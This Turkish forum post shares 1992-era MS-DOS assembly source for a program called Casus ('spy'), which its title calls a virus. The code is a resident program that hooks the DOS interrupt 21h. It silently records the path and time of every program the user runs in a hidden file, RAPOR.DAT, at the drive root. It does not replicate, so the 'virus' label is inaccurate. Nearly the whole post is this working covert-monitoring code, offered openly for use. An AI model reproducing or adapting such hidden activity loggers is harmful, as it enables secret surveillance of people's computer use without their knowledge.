1992 yılında ASSEMBLY ile yazılmış VİRÜS [Casusasm]

assemble
Forum Kalfası
Kod:
CSeg        Segment
            Assume Cs:CSeg,Ds:CSeg,Es:CSeg,Ss:CSeg
            Org 100h

Begin:      Jmp      Initialize
KarsiOlc    Label    Word
YeniIntr21h Proc     Near
            
            PushF
            Cmp      Ax,4B00h
            Jz       Evet
GeriDon:    PopF
            Jmp      DWord Ptr Cs:[SaveIntr21h]

Evet:       Mov      Word Ptr Cs:[OrjDs],Ds 
            Mov      Word Ptr Cs:[OrjDx],Dx
            
            Push     Ax Bx Cx Es Si Di
            
            Mov      Cx,64
            Mov      Di,Offset CalisFile

Don:        Mov      Byte Ptr Cs:[Di],0
            Inc      Di
            Loop     Don

            Mov      Si,Dx
            Mov      Di,Offset CalisFile

Dongu:      Mov      Al,Ds:[Si]
            Cmp      Al,00
            Jz       ExitDon
            Mov      Byte Ptr Cs:[Di],Al
            Inc      Di
            Inc      Si
            Jmp      Dongu

ExitDon:    Push     Cs Cs
            Pop      Ds Es

            Mov      Ah,2Ch
            Int      21h
            Mov      Ax,3030h
            Mov      Word Ptr [Saat],Ax
            Mov      Word Ptr [Daki],Ax
            Mov      Word Ptr [Sani],Ax

KarsiBoy    Equ ($-KarsiOlc)            

            Mov      Si,Offset Saat
            Mov      Al,Ch
            Call     Cevir

            Mov      Si,Offset Daki
            Mov      Al,Cl
            Call     Cevir

            Mov      Si,Offset Sani
            Mov      Al,Dh
            Call     Cevir
            Jmp      DevamEt

Cevir:      Inc      Si
            Mov      Bl,10

Dongu2:     Xor      Ah,Ah
            Div      Bl
            Add      Ah,30h
            Mov      Byte Ptr [Si],Ah
            Dec      Si 
            Or       Al,Al
            Jnz      Dongu2
            Ret

DevamEt:    Mov      Dx,Offset FileName
            Mov      Ax,3D01h
            Int      21h
            Mov      Bx,Ax

            Xor      Cx,Cx
            Xor      Dx,Dx 
            Mov      Ax,4202h
            Int      21h

            Mov      Ah,40h
            Mov      Cx,KayitBoy
            Mov      Dx,Offset CalisFile
            Int      21h
            
            Mov      Ah,3Eh
            Int      21h
            Pop      Di Si Es Cx Bx Ax
            LDs      Dx,DWord Ptr Cs:[OrjDx]
            Jmp      GeriDon
            
FileName    DB ?
            DB ':\RAPOR.DAT', 0

OrjDx DW ?
OrjDs DW ?

SaveIntr21h DD ?

KayTbn    Label Word
CalisFile Db 67 Dup (32)
Saat Db '00:'
Daki Db '00:'
Sani Db '00'
Db 0dh,0ah
KayitBoy  Equ ($-KayTbn)

YeniIntr21h EndP


Initialize: Call     TsrYuklumu
            Je       ZatenYuklu

            Mov      Ah,19h
            Int      21h
            Add      Al,41h
            Mov      FileName,Al

            Mov      Ah,4Eh
            Mov      Dx,Offset FileName
            Mov      Cx,00FFh
            Int      21h
            Jnc      YukleCas
            Call     CreateFile
            
YukleCas:   Mov      Ax,3521h 
            Int      21h 
            Mov      Word Ptr Ds:[SaveIntr21h],Bx
            Mov      Word Ptr Ds:[SaveIntr21h+2],Es 
            
            Mov      Dx,Offset YukleMsj
            Mov      Ah,09h 
            Int      21h

            Mov      Ax,2521h
            Mov      Dx,Offset YeniIntr21h
            Int      21h

            Mov      Dx,Offset Initialize
            Int      27h

CreateFile: Mov      Dx,Offset FileName
            Mov      Cx,00100000b
            Mov      Ah,3Ch
            Int      21h
            Mov      Bx,Ax

            Mov      Dx,Offset YaratN
            Mov      Cx,KayitLen
            Mov      Ah,40h
            Int      21h

            Mov      Ah,3Eh
            Int      21h
            Ret

ZatenYuklu: Mov      Ah,09h
            Int      21h
            Mov      Ah,4Ch
            Int      21h

TsrYuklumu: Mov      Dx,Offset YukluMsj
            Mov      Ax,3521h 
            Int      21h 
            Mov      Di,Bx
            Push     Cs
            Pop      Ds
            Mov      Si,Offset YeniIntr21h
            Mov      Cx,KarsiBoy
            RepE     CmpSB 
            Ret

YukleMsj    Db 0dh,0ah,'CASUS Ver 1.0, Written By Ozkan Can',0dh,0ah
            Db 'CASUS Bellege yuklendi...',0dh,0ah,'$'

YukluMsJ    Db 'CASUS Zaten Bellekte...',0dh,0ah,'$'

KayitLenOlc Label Word
YaratN      Db 0dh,0ah
db '----------------------------------- R A P O R ---------------------------------',0dh,0ah
db 'DOSYA ADI                                                       CALISTIGI SAAT ',0dh,0ah
db '-------------------------------------------------------------------------------',0dh,0ah
db 0dh,0ah
KayitLen Equ ($-KayitLenOlc);

CSeg        EndS
            End      Begin
 
Üst